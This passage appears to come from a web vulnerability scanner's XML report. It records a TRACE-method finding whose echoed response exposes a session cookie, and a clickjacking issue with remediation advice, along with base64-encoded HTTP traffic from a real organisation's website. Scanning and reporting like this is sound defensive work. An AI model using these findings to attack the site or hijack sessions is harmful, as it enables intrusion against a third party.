129 <request base64="true"><![CDATA[VFJBQ0UgLyBIVFRQLzEuMA0KSG9zdDogd3d3LnNhbHVkYWN0aXZhLm9yZy5hcg0KQ29va2llOiBhYzMyNzQ2YjdhYzA2YzE5DQoNCg==]]></request>
130 <response base64="true"><![CDATA[SFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA3IE5vdiAyMDEzIDE3OjE0OjA2IEdNVA0KU2VydmVyOiBBcGFjaGUvMi4yLjIzIChVbml4KSBtb2Rfc3NsLzIuMi4yMyBPcGVuU1NMLzAuOS44ZS1maXBzLXJoZWw1DQpDb25uZWN0aW9uOiBjbG9zZQ0KQ29udGVudC1UeXBlOiBtZXNzYWdlL2h0dHANCg0KVFJBQ0UgLyBIVFRQLzEuMA0KSG9zdDogd3d3LnNhbHVkYWN0aXZhLm9yZy5hcg0KQ29va2llOiBhYzMyNzQ2YjdhYzA2YzE5OyBQSFBTRVNTSUQ9OTQ1ODVhYTBjMTFjZjJlODY0ZDgzZTI0Njc4Yjk4NjUNCg0K]]></response>
131 <responseRedirected>false</responseRedirected>
132 </requestresponse>
133 </issue>
134 <issue>
135 <serialNumber>739390687228795904</serialNumber>
136 <type>5245344</type>
137 <name>Frameable response (potential Clickjacking)</name>
138 <host ip="200.20.20.201">http://www.example.org.ar</host>
139 <path><![CDATA[/]]></path>
140 <location><![CDATA[/]]></location>
141 <severity>Information</severity>
142 <confidence>Firm</confidence>
143 <issueBackground><![CDATA[It might be possible for a web page controlled by an attacker to load the content of this response within an iframe on the attacker's page. This may enable a "clickjacking" attack, in which the attacker's page overlays the target application's interface with a different interface provided by the attacker. By inducing victim users to perform actions such as mouse clicks and keystrokes, the attacker can cause them to unwittingly carry out actions within the application that is being targeted. This technique allows the attacker to circumvent defenses against cross-site request forgery, and may result in unauthorized actions.<br><br>Note that this issue is being reported because the application's response does not set a suitable <b>X-Frame-Options</b> header in order to prevent framing attacks. Some applications attempt to prevent these attacks from within the HTML page itself, using "framebusting" code. However, this type of defense is normally ineffective and can usually be circumvented by a skilled attacker.]]></issueBackground>
144 <remediationBackground><![CDATA[You should review the application functions that are accessible from within the response, and determine whether they can be used by application users to perform any sensitive actions within the application. If so, then a framing attack targeting this response may result in unauthorized actions.<br><br>To effectively prevent framing attacks, the application should return a response header with the name <b>X-Frame-Options</b> and the value <b>DENY</b> to prevent framing altogether, or the value <b>SAMEORIGIN</b> to allow framing only by pages on the same origin as the response itself.]]></remediationBackground>
145 <requestresponse>
146 <request base64="true"><![CDATA[R0VUIC8gSFRUUC8xLjENCkhvc3Q6IHd3dy5zYWx1ZGFjdGl2YS5vcmcuYXINClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChNYWNpbnRvc2g7IEludGVsIE1hYyBPUyBYIDEwLjg7IHJ2OjIzLjApIEdlY2tvLzIwMTAwMTAxIEZpcmVmb3gvMjMuMA0KQWNjZXB0OiB0ZXh0L2h0bWwsYXBwbGljYXRpb24veGh0bWwreG1sLGFwcGxpY2F0aW9uL3htbDtxPTAuOSwqLyo7cT0wLjgNCkFjY2VwdC1MYW5ndWFnZTogZW4tVVMsZW47cT0wLjUNCkFjY2VwdC1FbmNvZGluZzogZ3ppcCwgZGVmbGF0ZQ0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KDQo=]]></request>
147 <response base64="true"><![CDATA[SFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA3IE5vdiAyMDEzIDE3OjEyOjAyIEdNVA0KU2VydmVyOiBBcGFjaGUvMi4yLjIzIChVbml4KSBtb2Rfc3NsLzIuMi4yMyBPcGVuU1NMLzAuOS44ZS1maXBzLXJoZWw1DQpYLVBvd2VyZWQtQnk6IFBIUC81LjIuMTcNCkV4cGlyZXM6IFRodSwgMTkgTm92IDE5ODEgMDg6NTI6MDAgR01UDQpDYWNoZS1Db250cm9sOiBuby1zdG9yZSwgbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZSwgcG9zdC1jaGVjaz0wLCBwcmUtY2hlY2s9MA0KUHJhZ21hOiBuby1jYWNoZQ0KU2V0LUNvb2tpZTogUEhQU0VTU0lEPTk0NTg1YWEwYzExY2YyZTg2NGQ4M2UyNDY3OGI5ODY1OyBwYXRoPS8NCktlZXAtQWxpdmU6IHRpbWVvdXQ9MjAsIG1heD0yMDANCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkNvbnRlbnQtVHlwZTogdGV4dC9odG1sDQpDb250ZW50LUxlbmd0aDogNjA2MDYNCg0KIDxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1pc28tODg1OS0xIiAvPgo8dGl0bGU+U2FsdWQgQWN0aXZhIC0gQWJ1c28gdmlvbGVuY2lhIHkgbWFsdHJhdG88L3RpdGxlPgoKPHNjcmlwdD4gCiAgICAvL2VzdG8gcGFyYSBwYXNhcmxlIGFsIGZsYXNoIGxhcyB2YXJpYWxiZXMgZGVsIHBocAogCQoKCXZhciBib3Q9Jyc7Ci8vYWxlcnQodmFyaWFibGVTZXJ2aWRvcik7Cjwvc2NyaXB0Pgo8c2NyaXB0IGxhbmd1YWdlPSJKYXZhU2NyaXB0IiB0eXBlPSJ0ZXh0L0phdmFTY3JpcHQiPgo8IS0tCmZ1bmN0aW9uIE1NX3ByZWxvYWRJbWFnZXMoKSB7IC8vdjMuMAogIHZhciBkPWRvY3VtZW50OyBpZihkLmltYWdlcyl7IGlmKCFkLk1NX3ApIGQuTU1fcD1uZXcgQXJyYXkoKTsKICAgIHZhciBpLGo9ZC5NTV9wLmxlbmd0aCxhPU1NX3ByZWxvYWRJbWFnZXMuYXJndW1lbnRzOyBmb3IoaT0wOyBpPGEubGVuZ3RoOyBpKyspCiAgICBpZiAoYVtpXS5pbmRleE9mKCIjIikhPTApeyBkLk1NX3Bbal09bmV3IEltYWdlOyBkLk1NX3BbaisrXS5zcmM9YVtpXTt9fQp9Ci8vLS0+Cjwvc2NyaXB0Pgo8bGluayBocmVmPSJlc3RpbG9zLmNzcyIgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyIgLz4KCjwvaGVhZD4KCjxzY3JpcHQgbGFuZ3VhZ2U9IkphdmFTY3JpcHQiIHR5cGU9InRleHQvSmF2YVNjcmlwdCI+CjwhLS0KZnVuY3Rpb24gTU1fcmVsb2FkUGFnZShpbml0KSB7ICAvL3JlbG9hZHMgdGhlIHdpbmRvdyBpZiBOYXY0IHJlc2l6ZWQKICBpZiAoaW5pdD09dHJ1ZSkgd2l0aCAobmF2aWdhdG9yKSB7aWYgKChhcHBOYW1lPT0iTmV0c2NhcGUiKSYmKHBhcnNlSW50KGFwcFZlcnNpb24pPT00KSkgewogICAgZG9jdW1lbnQuTU1fcGdXPWlubmVyV2lkdGg7IGRvY3VtZW50Lk1NX3BnSD1pbm5lckhlaWdodDsgb25yZXNpemU9TU1fcmVsb2FkUGFnZTsgfX0KICBlbHNlIGlmIChpbm5lcldpZHRoIT1kb2N1bWVudC5NTV9wZ1cgfHwgaW5uZXJIZWlnaHQhPWRvY3VtZW50Lk1NX3BnSCkgbG9jYXRpb24ucmVsb2FkKCk7Cn0KTU1fcmVsb2FkUGFnZSh0cnVlKTsKLy8tLT4KCjwvc2NyaXB0Pgo8c2NyaXB0IHNyYz0iU2NyaXB0cy9BQ19SdW5BY3RpdmVDb250ZW50LmpzIiB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPjwvc2NyaXB0PgoKCjwvaGVhZD4KCjxib2R5IGJhY2tncm91bmQ9ImltZy9mb25kb19kZWdyYWRlLmpwZyIgdG9wbWFyZ2luPSIwIj4KPHRhYmxlIHdpZHRoPSIxMDA1IiBib3JkZXI9IjAiIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgPHRyPiAKICAgIDx0ZCB3aWR0aD0iOTYiPjxpbWcgc3JjPSJpbWcvUXVpZW5lc1NvbW9zX0EyXzBfMDEuanBnIiB3aWR0aD0iOTYiIGhlaWdodD0iMjA4IiAvPjwvdGQ+CiAgICA8dGQgd2lkdGg9IjgwOSI+IDxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KQUNfRkxfUnVuQ29udGVudCggJ2NvZGViYXNlJywnaHR0cDovL2Rvd25sb2FkLm1hY3JvbWVkaWEuY29tL3B1Yi9zaG9ja3dhdmUvY2Ficy9mbGFzaC9zd2ZsYXNoLmNhYiN2ZXJzaW9uPTcsMCwxOSwwJywnd2lkdGgnLCc4MDknLCdoZWlnaHQnLCcyMDgnLCdzcmMnLCdzd2YvaGVhZGVyJywncXVhbGl0eScsJ2hpZ2gnLCdwbHVnaW5zcGFnZScsJ2h0dHA6Ly93d3cubWFjcm9tZWRpYS5jb20vZ28vZ2V0Zmxhc2hwbGF5ZXInLCdtb3ZpZScsJ3N3Zi9oZWFkZXInICk7IC8vZW5kIEFDIGNvZGUKPC9zY3JpcHQ+IDxub3NjcmlwdD4KICAgICAgPG9iamVjdCBjbGFzc2lkPSJjbHNpZDpEMjdDREI2RS1BRTZELTExY2YtOTZCOC00NDQ1NTM1NDAwMDAiIGNvZGViYXNlPSJodHRwOi8vZG93bmxvYWQubWFjcm9tZWRpYS5jb20vcHViL3Nob2Nrd2F2ZS9jYWJzL2ZsYXNoL3N3Zmxhc2guY2FiI3ZlcnNpb249NywwLDE5LDAiIHdpZHRoPSI4MDkiIGhlaWdodD0iMjA4Ij4KICAgICAgICA8cGFyYW0gbmFtZT0ibW92aWUiIHZhbHVlPSJzd2YvaGVhZGVyLnN3ZiIgLz4KICAgICAgICA8cGFyYW0gbmFtZT0icXVhbGl0eSIgdmFsdWU9ImhpZ2giIC8+CiAgICAgICAgPGVtYmVkIHNyYz0ic3dmL2hlYWRlci5zd2YiIHF1YWxpdHk9ImhpZ2giIHBsdWdpbnNwYWdlPSJodHRwOi8vd3d3Lm1hY3JvbWVkaWEuY29tL2dvL2dldGZsYXNocGxheWVyIiB0eXBlPSJhcHBsaWNhdGlvbi94LXNob2Nrd2F2ZS1mbGFzaCIgd2lkdGg9IjgwOSIgaGVpZ2h0PSIyMDgiPjwvZW1iZWQ+IAogICAgICA8L29iamVjdD4KICAgICAgPC9ub3NjcmlwdD48L3RkPgogICAgPHRkIHdpZHRoPSIxMiUiIHJvd3NwYW49IjUiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzAwMDAwMCI+Jm5ic3A7PC90ZD4KICA8L3RyPgogIDx0cj4gCiAgICA8dGQgaGVpZ2h0PSI0NjEiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgYmFja2dyb3VuZD0iaW1nL1F1aWVuZXNTb21vc19BMl8wXzEzLmpwZyI+IAogICAgICA8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+CkFDX0ZMX1J1bkNvbnRlbnQoICdjb2RlYmFzZScsJ2h0dHA6Ly9kb3dubG9hZC5tYWNyb21lZGlhLmNvbS9wdWIvc2hvY2t3YXZlL2NhYnMvZmxhc2gvc3dmbGFzaC5jYWIjdmVyc2lvbj02LDAsMjksMCcsJ3dpZHRoJywnOTYnLCdoZWlnaHQnLCc0NjEnLCdzcmMnLCdzd2Yvc3VibWVudScsJ3F1YWxpdHknLCdoaWdoJywncGx1Z2luc3BhZ2UnLCdodHRwOi8vd3d3Lm1hY3JvbWVkaWEuY29tL2dvL2dldGZsYXNocGxheWVyJywnbW92aWUnLCdzd2Yvc3VibWVudScgKTsgLy9lbmQgQUMgY29kZQo8L3NjcmlwdD4gPG5vc2NyaXB0PgogICAgICA8b2JqZWN0IGNsYXNzaWQ9ImNsc2lkOkQyN0NEQjZFLUFFNkQtMTFjZi05NkI4LTQ0NDU1MzU0MDAwMCIgY29kZWJhc2U9Imh0dHA6Ly9kb3dubG9hZC5tYWNyb21lZGlhLmNvbS9wdWIvc2hvY2t3YXZlL2NhYnMvZmxhc2gvc3dmbGFzaC5jYWIjdmVyc2lvbj02LDAsMjksMCIgd2lkdGg9Ijk2IiBoZWlnaHQ9IjQ2MSI+CiAgICAgICAgPHBhcmFtIG5hbWU9Im1vdmllIiB2YWx1ZT0ic3dmL3N1Ym1lbnUuc3dmIiAvPgogICAgICAgIDxwYXJhbSBuYW1lPSJxdWFsaXR5IiB2YWx1ZT0iaGlnaCIgLz4KICAgICAgICA8ZW1iZWQgc3JjPSJzd2Yvc3VibWVudS5zd2YiIHF1YWxpdHk9ImhpZ2giIHBsdWdpbnNwYWdlPSJodHRwOi8vd3d3Lm1hY3JvbWVkaWEuY29tL2dvL2dldGZsYXNocGxheWVyIiB0eXBlPSJhcHBsaWNhdGlvbi94LXNob2Nrd2F2ZS1mbGFzaCIgd2lkdGg9Ijk2IiBoZWlnaHQ9IjQ2MSI+PC9lbWJlZD48L29iamVjdD4KICAgICAgPC9ub3NjcmlwdD48L3RkPgogICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCIgYmdjb2xvcj0iI0ZGRkZGRiI+CiAgICAgICAgPHRyPiAKICAgICAgICAgIDx0ZCB3aWR0aD0iMTciIHJvd3NwYW49IjciPjxwPiZuYnNwOzwvcD48L3RkPgogICAgICAgICAgPHRkIHdpZHRoPSIxNzIiIGFsaWduPSJjZW50ZXIiIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjRTNFM0UzIj4gPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGFsaWduPSJjZW50ZXIiPjxpbWcgc3JjPSJpbWcvM3B4LmpwZyIgd2lkdGg9IjUiIGhlaWdodD0iNSI+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4gCiAgICAgICAgICAgICAgICA8dGQgYWxpZ249ImNlbnRlciI+PGxpbmsgaHJlZj0iLi4vZXN0aWxvcy5jc3MiIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiIC8+Cjxib2R5IGJnY29sb3I9IiNDQ0NDQ0MiIHRvcG1hcmdpbj0iNiBweCI+PHRhYmxlIHdpZHRoPSIxNjUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIzIiBiZ2NvbG9yPSIjRkZGRkZGIj4KPHRyPgogICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTkxIiBoZWlnaHQ9IjI4IiBiYWNrZ3JvdW5kPSIuLi9pbWcvcmVkaXNlbm9fMTEuanBnIiA+PGltZyBzcmM9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciIHdpZHRoPSI2IiAgaGVpZ2h0PSIyOCIgYWxpZ249ImFic21pZGRsZSIgLz48YSBocmVmPSJpbmRleC5waHA/aWQ9MThfbmV3IiBjbGFzcz0iZm9uZG9ib3RvbiI+SG9tZTwvYT48L3RkPgogIDwvdHI+Cjx0cj4KICA8dGQgaGVpZ2h0PSIyOCIgYmFja2dyb3VuZD0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXciIGNsYXNzPSJmb25kb2JvdG9uIj4mbmJzcDsmbmJzcDtOb3RpY2lhczwvYT48L3RkPgo8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMjgiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciID48aW1nIHNyYz0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgd2lkdGg9IjYiIGhlaWdodD0iMjgiIGJvcmRlcj0iMCIgYWxpZ249ImFic21pZGRsZSIgLz48YSBocmVmPSJkb25hY2lvbmVzLyIgdGFyZ2V0PSJfYmxhbmsiIGNsYXNzPSJmb25kb2JvdG9uIj5Eb25hY2lvbmVzPC9hPjwvdGQ+CiAgPC90cj4KICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjI4IiBiYWNrZ3JvdW5kPSIuLi9pbWcvcmVkaXNlbm9fMTEuanBnIiA+PGltZyBzcmM9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciICB3aWR0aD0iNiJoZWlnaHQ9IjI4IiBhbGlnbj0iYWJzbWlkZGxlIiAvPjxhIGhyZWY9ImluZGV4LnBocD9pZD0yM19uZXciIGNsYXNzPSJmb25kb2JvdG9uIj5IaXN0b3JpYWwgZGUgbmV3c2xldHRlcnM8L2E+PC90ZD4KICA8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMjgiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciID48aW1nIHNyYz0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgd2lkdGg9IjYiIGhlaWdodD0iMjgiIGFsaWduPSJhYnNtaWRkbGUiIC8+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTEzYSIgY2xhc3M9ImZvbmRvYm90b24iPkVudmlhciBpbmZvcm1hY2kmb2FjdXRlO248L2E+PC90ZD4KICA8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMTkiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciPjxpbWcgc3JjPSIuLi9pbWcvcmVkaXNlbm9fMTEuanBnIiB3aWR0aD0iNiJoZWlnaHQ9IjI4IiBhbGlnbj0iYWJzbWlkZGxlIiAvPjxhIGhyZWY9ImluZGV4LnBocD9pZD0yNl9uZXciIGNsYXNzPSJmb25kb2JvdG9uIj5WZXIgdHJhYmFqb3MgZGUgdXN1YXJpb3M8L2E+PC90ZD4KICA8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMTkiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciPjxpbWcgc3JjPSIuLi9pbWcvcmVkaXNlbm9fMTEuanBnIiB3aWR0aD0iNiIgaGVpZ2h0PSIyOCIgYWxpZ249ImFic21pZGRsZSIgLz48YSBocmVmPSJpbmRleC5waHA/aWQ9MTZfbmV3IiBjbGFzcz0iZm9uZG9ib3RvbiI+U2FsdWQgQWN0aXZhIHByZW5zYTwvYT48L3RkPgogIDwvdHI+CiAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIxOSIgYmFja2dyb3VuZD0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgPjxpbWcgc3JjPSIuLi9pbWcvcmVkaXNlbm9fMTEuanBnIiB3aWR0aD0iNiIgaGVpZ2h0PSIyOCIgYWxpZ249ImFic21pZGRsZSIgLz48YSBocmVmPSJtYWlsdG86c2FsdWRhY3RpdmFAc2FsdWRhY3RpdmEub3JnLmFyIiBjbGFzcz0iZm9uZG9ib3RvbiI+TWFuZCZhYWN1dGU7IHR1IEMuVi48L2E+PC90ZD4KICA8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMTkiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciID48aW1nIHNyYz0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgIHdpZHRoPSI2ImhlaWdodD0iMjgiIGFsaWduPSJhYnNtaWRkbGUiIC8+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTIxX25ldyIgY2xhc3M9ImZvbmRvYm90b24iPkluZm9ybWFjaSZvYWN1dGU7biBkZSBpbnRlciZlYWN1dGU7czwvYT48L3RkPgogIDwvdHI+CiAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIxOSIgYmFja2dyb3VuZD0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyI+PGltZyBzcmM9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciIHdpZHRoPSI2IiBoZWlnaHQ9IjI4IiBhbGlnbj0iYWJzbWlkZGxlIiAvPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xMF80IiBjbGFzcz0iZm9uZG9ib3RvbiI+Q29uZ3Jlc29zCiAgICAgICAgICAgICAgICAgIHkgSm9ybmFkYXM8L2E+PC90ZD4KICA8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMTkiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciID48aW1nIHNyYz0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgd2lkdGg9IjYiIGhlaWdodD0iMjgiIGFsaWduPSJhYnNtaWRkbGUiIC8+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTExIiBjbGFzcz0iZm9uZG9ib3RvbiI+UmVnaXN0cmFjaSZvYWN1dGU7bjwvYT48L3RkPgogIDwvdHI+CiAgICAgICAgICAgCiAgICAgICAgICA8L3RhYmxlPgo8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGFsaWduPSJjZW50ZXIiPjxhIGhyZWY9Imh0dHA6Ly93d3cuc2FsdWRhY3RpdmEub3JnLmFyL2luZGV4LnBocD9pZD0xNSIgdGFyZ2V0PSJfYmxhbmsiPjxicj4KICAgICAgICAgICAgICAgICAgPGltZyBzcmM9ImltZy9iYW5uZXJfZG9uYWNpb25lcy5qcGciIHdpZHRoPSIxNjIiIGhlaWdodD0iMTIwIiBib3JkZXI9IjAiPjxicj4KICAgICAgICAgICAgICAgICAgPGJyPgogICAgICAgICAgICAgICAgICA8aW1nIHNyYz0iaW1nL2JvdG9uRm9yby5naWYiIHdpZHRoPSIxNzIiIGhlaWdodD0iMTE3IiBib3JkZXI9IjAiPjwvYT48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTY3IiBib3JkZXI9IjAiIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjkiPjxpbWcgc3JjPSJpbWcvY2hpY29zX3BlcmRpZG9zXzAzLmdpZiIgd2lkdGg9IjkiIGhlaWdodD0iOSIgLz48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTQ5IiBiYWNrZ3JvdW5kPSJpbWcvY2hpY29zX3BlcmRpZG9zXzA1LmdpZiI+PGltZyBzcmM9ImltZy9jaGljb3NfcGVyZGlkb3NfMDUuZ2lmIiB3aWR0aD0iOSIgaGVpZ2h0PSI5IiAvPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMCI+PGltZyBzcmM9ImltZy9jaGljb3NfcGVyZGlkb3NfMDcuZ2lmIiB3aWR0aD0iOSIgaGVpZ2h0PSI5IiAvPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgYmFja2dyb3VuZD0iaW1nL2NoaWNvc19wZXJkaWRvc18xMi5naWYiPjxpbWcgc3JjPSJpbWcvY2hpY29zX3BlcmRpZG9zXzEyLmdpZiIgd2lkdGg9IjkiIGhlaWdodD0iMTEiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQ+PGltZyBzcmM9InNyYy9pbWdfdXAvMjMwODIwMTIuMS5qcGciIHdpZHRoPSIxNDkiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgYmFja2dyb3VuZD0iaW1nL2NoaWNvc19wZXJkaWRvc18xMy5naWYiPjxpbWcgc3JjPSJpbWcvY2hpY29zX3BlcmRpZG9zXzEzLmdpZiIgd2lkdGg9IjkiIGhlaWdodD0iMTEiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIzIj48aW1nIHNyYz0iaW1nL2NoaWNvc19wZXJkaWRvc18xNi5naWYiIHdpZHRoPSIxNjciIGhlaWdodD0iNSIgLz48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIGJhY2tncm91bmQ9ImltZy9jaGljb3NfcGVyZGlkb3NfMTcuZ2lmIj48aW1nIHNyYz0iaW1nL2NoaWNvc19wZXJkaWRvc18xNy5naWYiIHdpZHRoPSI5IiBoZWlnaHQ9IjkiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgYWxpZ249ImNlbnRlciIgYmdjb2xvcj0iI0ZFRTdDRiIgY2xhc3M9InRpdHVsb2hvbWU1Ij48c3Ryb25nPk5pJm50aWxkZTtvcyBwZXJkaWRvczxicj4KICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9pZD0yOSIgY2xhc3M9ImJvdG9uIj5bVmVyIG0mYWFjdXRlO3NdPC9hPjwvc3Ryb25nPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIGJhY2tncm91bmQ9ImltZy9jaGljb3NfcGVyZGlkb3NfMTkuZ2lmIj48aW1nIHNyYz0iaW1nL2NoaWNvc19wZXJkaWRvc18xOS5naWYiIHdpZHRoPSI5IiBoZWlnaHQ9IjkiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIzIj48aW1nIHNyYz0iaW1nL2NoaWNvc19wZXJkaWRvc18yMC5naWYiIHdpZHRoPSIxNjciIGhlaWdodD0iMjUiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgIDx0ZD48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4NCgkJCQkNCgkJCQk8Zm9ybSBhY3Rpb249ImluZGV4LnBocD9pZD0xMSIgIG1ldGhvZD0icG9zdCI+DQogICAgICAgICAgICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMiI+PGltZyBzcmM9ImltZy9yZWdpc3RyYXRlX2VzcV9penExLmpwZyIgd2lkdGg9IjEyIiBoZWlnaHQ9IjQ4IiAvPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgPHRkPjxpbWcgc3JjPSJpbWcvcmVnaXN0cmF0ZV9hcnJpYmEuanBnIiB3aWR0aD0iMTQ2IiBoZWlnaHQ9IjQ4IiAvPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNCI+PGltZyBzcmM9ImltZy9yZWdpc3RyYXRlX2VzcV9kZXIxLmpwZyIgd2lkdGg9IjE0IiBoZWlnaHQ9IjQ4IiAvPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgIDwvdHI+DQogICAgICAgICAgICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMiIgdmFsaWduPSJ0b3AiIGNsYXNzPSJyZWdGb25kbzEiPjxpbWcgc3JjPSJpbWcvcmVnaXN0cmF0ZV9penEuanBnIiB3aWR0aD0iMTIiIGhlaWdodD0iMTIiIC8+PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICA8dGQgYmdjb2xvcj0iI0ZGRkZGRiI+PHRhYmxlIHdpZHRoPSI5NCUiIGJvcmRlcj0iMCIgYWxpZ249ImNlbnRlciIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4NCiAgICAgICAgICA8dHI+IA0KICAgICAgICAgICAgPHRkPjxpbWcgc3JjPSJpbWcvcmVnaXN0cmF0ZV90aXQuanBnIiB3aWR0aD0iNjYiIGhlaWdodD0iMjMiIC8+PC90ZD4NCiAgICAgICAgICA8L3RyPg0KICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICA8dGQgaGVpZ2h0PSI1MCIgdmFsaWduPSJtaWRkbGUiIGNsYXNzPSJyZWdpc3RyYXJzZSI+SW5ncmVzJmFhY3V0ZTsgDQogICAgICAgICAgICAgIHR1cyBkYXRvcyB5IHJlY2liJmlhY3V0ZTsgbGEgbWVqb3IgaW5mb3JtYWNpJm9hY3V0ZTtuIGEgdHJhdiZlYWN1dGU7cyANC